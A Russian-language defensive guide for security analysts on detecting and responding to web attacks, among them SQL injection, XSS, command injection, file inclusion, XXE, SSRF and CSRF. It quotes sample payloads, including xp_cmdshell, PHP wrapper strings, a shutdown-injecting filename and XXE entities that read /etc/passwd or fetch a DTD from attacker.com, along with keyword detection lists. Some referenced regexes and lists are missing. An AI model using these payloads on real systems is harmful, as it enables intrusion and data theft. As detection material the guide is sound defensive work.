In-band SQLi (Классическая)SQL-запрос отправляется и получает ответ по одному и тому же каналу. Наиболее простой для эксплуатации вид — злоумышленник видит результат прямо в ответе сервера.
Inferential SQLi (Слепая)Результат SQL-запроса не отображается напрямую. Атакующий определяет структуру базы данных по косвенным признакам: времени ответа (Time-based) или булевым условиям (Boolean-based).
Out-of-band SQLiОтвет на SQL-запрос передаётся через другой канал (например, DNS-запросы или HTTP-запросы к серверу атакующего). Применяется, когда ни In-band, ни слепая инъекция невозможны.
Как обнаружить
Проверяйте все поля запроса
SQL-инъекции не ограничиваются формами ввода. Проверяйте все данные от пользователя, включая HTTP-заголовки — особенно User-Agent, Referer, Cookie и X-Forwarded-For.
Ищите SQL-ключевые слова
Проверяйте пользовательские данные на наличие ключевых слов: SELECT, INSERT, UPDATE, DELETE, DROP, UNION, WHERE, OR, AND, EXEC, CAST, CONVERT, DECLARE, WAITFOR DELAY, BENCHMARK, LOAD_FILE, INTO OUTFILE.
Обращайте внимание на спецсимволы
Следите за появлением одинарных кавычек ('), двойных кавычек ("), дефисов/комментариев (--, #, /*), скобок, точек с запятой (;) и конкатенации строк (||).
Изучите типовые пейлоады
Несмотря на вариативность, злоумышленники часто используют стандартные конструкции для проверки уязвимости:
Примеры' OR 1=1 --
' OR 'a'='a
" OR "" = "
1' ORDER BY 1 --
' UNION SELECT NULL, NULL --
'; EXEC xp_cmdshell('whoami') --
1' AND SLEEP(5) --
1'; WAITFOR DELAY '0:0:5' --
1' AND BENCHMARK(5000000, SHA1('test')) --
Обнаружение автоматизированных инструментов
Анализ User-Agent
Автоматизированные инструменты (sqlmap, Havij, jSQL и др.) часто указывают своё имя и версию в заголовке User-Agent. Ищите подобные сигнатуры.
Частота запросов
Нормальный пользователь отправляет ~1 запрос в секунду. Автоматизированные средства генерируют десятки и сотни запросов в секунду. Анализируйте количество запросов с одного IP за единицу времени.
Содержимое пейлоадов
Автоинструменты часто вставляют своё имя в пейлоады, например: sqlmap' OR 1=1. Кроме того, автоматические инструменты обычно генерируют более сложные и длинные пейлоады.
Дополнение: Обращайте внимание на кодирование пейлоадов: URL-encoded (%27 = '), двойное кодирование, Unicode-кодирование. Атакующие часто используют обфускацию для обхода WAF.
🛡️ Реагирование:
Заблокируйте IP-адрес источника на WAF / файрволе.
Проверьте, был ли запрос успешным (HTTP 200 + аномальный размер ответа = возможная утечка данных).
Проанализируйте затронутый эндпоинт — определите, какая БД/таблица могла быть скомпрометирована.
Уведомите команду разработки для патча уязвимого параметра.
Эскалируйте инцидент при подтверждении утечки данных.
⚡
XSS (Cross-Site Scripting)Межсайтовый Скриптинг — внедрение вредоносного кода на страницу
Reflected XSS (Отражённый)Непостоянный тип: вредоносный скрипт присутствует в запросе и «отражается» в ответе сервера. Наиболее распространённый вид XSS.
Stored XSS (Хранимый)Пейлоад сохраняется на сервере (в БД, файлах, комментариях) и выполняется при каждом просмотре страницы жертвой. Самый опасный вид XSS.
DOM-based XSSАтака происходит на стороне клиента: вредоносный код изменяет DOM-дерево в браузере жертвы, и клиентский скрипт выполняется «неожиданным» образом.
Как обнаружить
Ключевые слова
Ищите в пользовательских данных характерные конструкции: <script>, alert(, document.cookie, onerror=, onload=, eval(, javascript:, String.fromCharCode.
Спецсимволы
Проверяйте данные на наличие символов <, >, ", ', /, & — они используются для формирования HTML/JS-конструкций.
Дополнение: Атакующие активно используют обход фильтров: разбивку тегов, кодирование символов (<), нестандартные обработчики событий (onfocus, onmouseover) и мутации HTML-парсера.
🛡️ Реагирование:
Определите тип XSS: Reflected — заблокируйте URL; Stored — немедленно удалите пейлоад из хранилища (БД, комментарии).
Проверьте журналы доступа: кто ещё посещал заражённую страницу (потенциальные жертвы Stored XSS).
Проанализируйте пейлоад: ищет ли он cookie, перенаправляет ли на фишинг, загружает ли кейлоггер.
При хищении сессий — принудительно инвалидируйте затронутые сессии.
Уведомите разработчиков для внедрения экранирования вывода и CSP-заголовков.
🖥️
Command InjectionИнъекция команд ОС — выполнение произвольных системных команд
⚠️ Критичность: Данная уязвимость позволяет атакующему получить полный контроль над сервером, поэтому она считается одной из наиболее опасных.
Принцип работы
Разделение команд
Символ ; (а также &&, ||, |, обратные кавычки `, $()) позволяет выполнить несколько команд последовательно. Например, имя файла file;ls;.txt приведёт к выполнению трёх команд операционной системой. Если подставить file;shutdown;.txt — сервер будет остановлен.
Как обнаружить
Проверяйте все области запроса
Уязвимость может находиться в любом параметре — URI, заголовках, теле запроса, имени загружаемого файла. Проверяйте все области.
Дополнение: Обращайте внимание на нестандартное URL-кодирование разделителей команд: %3B = ;, %7C = |, %26 = &. Также следите за наличием base64-закодированных строк, которые могут содержать команды.
🛡️ Реагирование:
Немедленно изолируйте сервер от сети (при подтверждении выполнения команд).
Проверьте наличие reverse shell: активные сетевые соединения (netstat -antp), новые процессы, cron-задачи.
Соберите артефакты: bash_history, access-логи, syslog, /tmp на наличие вредоносных скриптов.
Заблокируйте IP атакующего и исходящие соединения к его серверу.
Эскалируйте как инцидент высокой критичности — возможна полная компрометация хоста.
🔓
IDOR (Insecure Direct Object Reference)Небезопасная прямая ссылка на объект — предоставление доступа к объектам без проверки прав
MITRE ATT&CK
T1530 — Data from Cloud Storage · T1213 — Data from Information Repositories
⚠️ Сложность обнаружения: IDOR-атаки сложнее обнаружить, чем SQLi или XSS, так как они не содержат специфических пейлоадов — атакующий просто меняет идентификаторы объектов.
Как обнаружить
Проверяйте все параметры
IDOR может возникнуть в любом параметре, содержащем идентификатор: id, user_id, order_id, doc, file, account и т.д. Не ограничивайтесь только URL — проверяйте тело запроса и заголовки.
Количество запросов к одной странице
При обнаружении IDOR злоумышленник, как правило, перебирает идентификаторы для доступа к данным всех пользователей. Большое число запросов к одному эндпоинту от одного IP — тревожный сигнал.
Ищите паттерн перебора
Атакующий обычно перебирает предсказуемые значения: id=1, id=2, id=3… Последовательные целочисленные значения с равным интервалом — явный признак brute-force по IDOR.
Дополнение: Помимо целых чисел, обращайте внимание на перебор UUID (если они предсказуемы), а также на запросы с разными значениями параметров, приводящие к ответам различного размера (утечка данных других пользователей).
🛡️ Реагирование:
Установите rate-limit на затронутый эндпоинт, заблокируйте IP источника.
Определите масштаб: какие именно объекты (записи, файлы, профили) были доступны атакующему.
Проверьте, были ли данные фактически получены (HTTP 200 с телом ответа).
Уведомите команду разработки для внедрения проверки авторизации на уровне объекта.
При подтверждении утечки персональных данных — эскалируйте согласно процедуре Data Breach.
📂
RFI & LFI (Remote & Local File Inclusion)Включение удалённых и локальных файлов — подмена динамически подключаемых файлов
Отличие от Directory Traversal: LFI эксплуатирует механизм включения файлов на уровне приложения (например, include() в PHP) и может привести к выполнению кода через PHP-обёртки. Directory Traversal — это чтение произвольных файлов через манипуляцию путём на уровне веб-сервера без их исполнения.
Как обнаружить
Проверяйте все поля
Как и в случае других уязвимостей — инспектируйте все параметры, поступающие от пользователя.
Спецсимволы путей
Ищите символы навигации по файловой системе: /, \, ., .., %2e, %2f, %5c, а также NULL-байт %00.
Типовые файлы LFI
При LFI-атаке злоумышленник читает файлы на сервере. Знание критичных файлов поможет в обнаружении:
LFI может быть расширена до выполнения кода через PHP-обёртки. Ищите в параметрах следующие конструкции:
PHP Wrappersphp://filter/convert.base64-encode/resource=index.php
php://input ← POST-данные выполняются как PHP
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VU...
expect://whoami ← выполнение команды ОС
zip://malicious.zip#shell.php
Признаки RFI
При RFI-атаке злоумышленник подключает файл со своего сервера. Ищите в параметрах вхождения http://, https://, ftp://, а также обфусцированные варианты: hTtP://, https%3A%2F%2F.
🛡️ Реагирование:
Заблокируйте IP источника. При обнаружении RFI — заблокируйте также исходящие подключения к домену/IP атакующего.
Проверьте, удалось ли атакующему прочитать файлы (анализируйте размер ответа).
При наличии PHP-обёрток — проверьте сервер на признаки RCE: новые файлы в webroot, изменённые cron-задачи, подозрительные процессы.
Уведомите разработчиков: необходимо использовать белый список допустимых файлов и отключить allow_url_include.
↗️
Open RedirectОткрытое перенаправление — перенаправление на внешние ресурсы без проверки
MITRE ATT&CK
T1566.002 — Phishing: Spearphishing Link
Severity: Сам по себе Open Redirect оценивается как Low/Medium, однако в цепочке с фишингом или перехватом OAuth-токенов может стать критичным звеном атаки.
Типы
URL-basedНаиболее частый тип: сайт принимает URL в параметре и перенаправляет без проверки. Пример: ?redirect=https://evil.com.
JavaScript-basedПеренаправление через JavaScript (window.location), где целевой URL берётся из ненадёжного источника.
Meta refresh-basedИспользуется тег <meta http-equiv="refresh"> с контролируемым атакующим URL.
Header-basedHTTP-заголовок Location формируется с использованием непроверенных пользовательских данных.
Parameter-basedПараметр URL или формы используется как часть редиректа без валидации значения.
Как обнаружить
Параметры перенаправления
Следите за запросами с параметрами типа ?next=, ?url=, ?redirect=, ?return=, ?goto=, содержащими внешние URL-адреса.
Техники обхода WAF
Атакующие используют различные способы обхода фильтров:
Проверьте, распространялась ли вредоносная ссылка (email-логи, мессенджеры, соцсети).
Уведомите разработчиков: необходим белый список допустимых доменов для перенаправления.
При использовании в цепочке OAuth — инвалидируйте выданные токены и уведомите затронутых пользователей.
📁
Directory Traversal (Path Traversal)Обход каталогов — чтение файлов за пределами webroot на уровне веб-сервера
MITRE ATT&CK
T1083 — File and Directory Discovery · T1005 — Data from Local System
Отличие от LFI: Directory Traversal — это чтение файлов через манипуляцию путём на уровне веб-сервера (статическое чтение). LFI — это включение файлов через механизм приложения, что может привести к их исполнению. На практике они часто пересекаются.
Более строгое выражение — ищет путь, оканчивающийся на ../etc/, что снижает количество false positive.
Дополнение: Помимо %2e%2e%2f, атакующие могут использовать Unicode-кодирование (%c0%ae), двойное URL-кодирование (%252e%252e%252f) и обратные слеши (..\ → %2e%2e%5c) для обхода WAF.
🛡️ Реагирование:
Заблокируйте IP источника.
Проверьте, был ли файл прочитан успешно: HTTP 200 + размер ответа, соответствующий размеру целевого файла.
Если прочитан /etc/shadow или аналогичные файлы — немедленно смените все пароли на хосте и эскалируйте инцидент.
Уведомите разработчиков: необходима каноникализация путей и ограничение доступа к файловой системе.
🔑
Brute ForceАтака перебором — подбор учётных данных
Находит неудачные попытки входа (HTTP 401/403) на страницу /login.php. Первая группа захвата (\S+) содержит IP-адрес клиента.
Анализ результатов
Подсчитайте количество совпадений для каждого IP-адреса.
Пометьте IP с высоким числом неудачных попыток как потенциальный источник brute-force.
Учтите временные рамки: 50+ неудачных попыток за минуту — почти наверняка автоматическая атака.
Обращайте внимание на распределённый brute-force: множество IP с небольшим числом попыток каждый, но на один и тот же аккаунт.
Дополнение: Также отслеживайте: атаки типа credential stuffing (различные пары логин/пароль с одного IP), password spraying (один пароль на множество аккаунтов), и аномальные всплески 401/403 на эндпоинтах API (например, /api/auth, /oauth/token).
🛡️ Реагирование:
Заблокируйте IP-адреса источников на WAF / файрволе.
Проверьте, был ли brute-force успешным: ищите HTTP 200/302 после серии 401/403 с одного IP.
При успешном подборе — немедленно заблокируйте скомпрометированный аккаунт и сбросьте пароль.
Включите или усильте rate-limiting и CAPTCHA на эндпоинте аутентификации.
При credential stuffing — уведомите пользователей о необходимости смены паролей, если они переиспользуют их на других сервисах.
📄
XXE (XML External Entity)Внедрение внешних XML-сущностей — чтение файлов, SSRF, DoS через XML-парсер
MITRE ATT&CK
T1190 — Exploit Public-Facing Application · T1005 — Data from Local System
Описание
XXE — уязвимость в приложениях, обрабатывающих XML-данные. Злоумышленник внедряет вредоносные XML-конструкции, которые могут привести к: чтению файлов на сервере, SSRF (выполнение запросов от имени сервера, сканирование внутренних сетей), отказу в обслуживании (Billion Laughs), а в отдельных случаях — к удалённому выполнению кода.
Типы
Basic XXEКлассическая атака: объявление внешней сущности, ссылающейся на файл или URL. Результат возвращается в ответе.
Blind XXEРезультат не возвращается напрямую — данные извлекаются через внешние каналы (OOB): DNS, HTTP-запросы на сервер атакующего.
XXE с PHP-фильтромИспользует PHP-потоковые обёртки (php://filter) для чтения файлов в base64-кодировке, обходя ограничения вывода.
Как обнаружить
Ключевые слова в запросах
Проверяйте тело XML-запросов на наличие директив:
Маркеры!DOCTYPE
!ELEMENT
!ENTITY
SYSTEM
PUBLIC
Типовые пейлоады
Примеры<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
Обнаруживает URL-закодированное вхождение !DOCTYPE (%21DOCTYPE) в строке запроса nginx-лога.
⚠️ Важно: XXE-пейлоады чаще всего передаются в теле POST-запроса (Content-Type: application/xml или text/xml), а не в query string. Regex выше полезен для GET-запросов, но основной анализ XXE требует инспекции тела запроса в WAF-логах или SIEM.
Дополнение: XXE может скрываться не только в XML-телах запросов, но и в загружаемых файлах: XLSX, DOCX, SVG — все эти форматы основаны на XML. Проверяйте загрузки файлов на наличие XML-сущностей.
🛡️ Реагирование:
Заблокируйте IP источника.
Проверьте, содержит ли ответ данные из файлов сервера (утечка /etc/passwd и т.д.).
При Blind XXE — проверьте DNS-логи и исходящий трафик на подключения к неизвестным доменам.
Проанализируйте загруженные файлы (XLSX, DOCX, SVG) на наличие встроенных XML-сущностей.
Уведомите разработчиков: необходимо отключить обработку внешних сущностей в XML-парсере (disallow-doctype-decl, external-general-entities = false).
🌐
SSRF (Server-Side Request Forgery)Подделка запросов на стороне сервера — принуждение сервера к отправке запросов на внутренние ресурсы
MITRE ATT&CK
T1090 — Proxy · T1018 — Remote System Discovery · T1552.005 — Cloud Instance Metadata API
⚠️ Критичность: SSRF входит в OWASP Top 10 (A10:2021). В облачных средах (AWS, GCP, Azure) эта атака особенно опасна: доступ к metadata-эндпоинтам может привести к полной компрометации инфраструктуры.
Типы
Basic SSRFСервер выполняет запрос к URL, указанному атакующим, и возвращает результат в ответе. Позволяет читать внутренние ресурсы напрямую.
Blind SSRFСервер выполняет запрос, но не возвращает результат. Атакующий подтверждает успех через время ответа, DNS-резолвинг или внешний callback (Burp Collaborator, interactsh).
Дополнение: SSRF может быть скрыта в неочевидных функциях: генерация PDF из URL, предпросмотр ссылок (link preview), импорт данных по URL, webhooks, интеграции с внешними сервисами. Обращайте внимание на любые эндпоинты, принимающие URL как входные данные.
🛡️ Реагирование:
Заблокируйте IP источника. Проверьте, удалось ли прочитать metadata-эндпоинты (в ответе могут быть IAM-ключи).
При утечке cloud credentials — немедленно ротируйте ключи и проверьте CloudTrail/Activity Log на несанкционированные действия.
Проверьте, к каким внутренним сервисам обращался сервер (анализ исходящих подключений).
Уведомите разработчиков: необходим белый список допустимых доменов, блокировка приватных IP-диапазонов на уровне приложения, включение IMDSv2 (AWS).
Эскалируйте при подтверждении доступа к metadata — это потенциальная полная компрометация облачной инфраструктуры.
🎭
CSRF (Cross-Site Request Forgery)Межсайтовая подделка запроса — выполнение действий от имени аутентифицированного пользователя
MITRE ATT&CK
T1189 — Drive-by Compromise
Описание
CSRF вынуждает браузер аутентифицированного пользователя отправить нежелательный запрос к веб-приложению. Браузер автоматически прикрепляет cookies, и сервер принимает запрос как легитимный. Результат: смена пароля, перевод средств, изменение email — без ведома жертвы.
Как обнаружить
Отсутствие или невалидность CSRF-токена
Проверяйте, содержат ли state-changing запросы (POST, PUT, DELETE) валидный CSRF-токен. Запросы без токена или с пустым/повторяющимся токеном — подозрительны.
Cross-origin запросы
Обращайте внимание на заголовки Origin и Referer. Если state-changing запрос приходит с внешнего домена (Origin не совпадает с целевым хостом) — это признак CSRF.
Подозрительные паттерны
Запросы на смену пароля/email без предварительного GET на форму (пользователь не заходил на страницу).
State-changing запросы с Referer, указывающим на внешний домен.
Несколько пользователей выполняют одинаковое действие в короткий промежуток (массовая CSRF-атака).
Запросы со сторонних доменов к критичным эндпоинтам: /account/update, /transfer, /admin/.
Типовые пейлоады
Атакующий размещает на вредоносной странице скрытые формы или изображения, отправляющие запросы:
Дополнение: CSRF сложнее обнаружить в логах, чем другие атаки, так как запрос выглядит полностью легитимным (отправлен реальным браузером реального пользователя). Основной индикатор — несовпадение Origin/Referer с целевым доменом. В современных SPA-приложениях с JSON API CSRF менее вероятен благодаря CORS, но не исключён при некорректной конфигурации.
🛡️ Реагирование:
Определите, какие действия были выполнены от имени жертв: смена пароля, email, финансовые операции.
Откатите несанкционированные изменения и уведомите затронутых пользователей.
Установите источник вредоносной страницы (из Referer) и заблокируйте домен.
Уведомите разработчиков: необходимо внедрить CSRF-токены, проверку Origin/Referer, атрибут SameSite для cookies.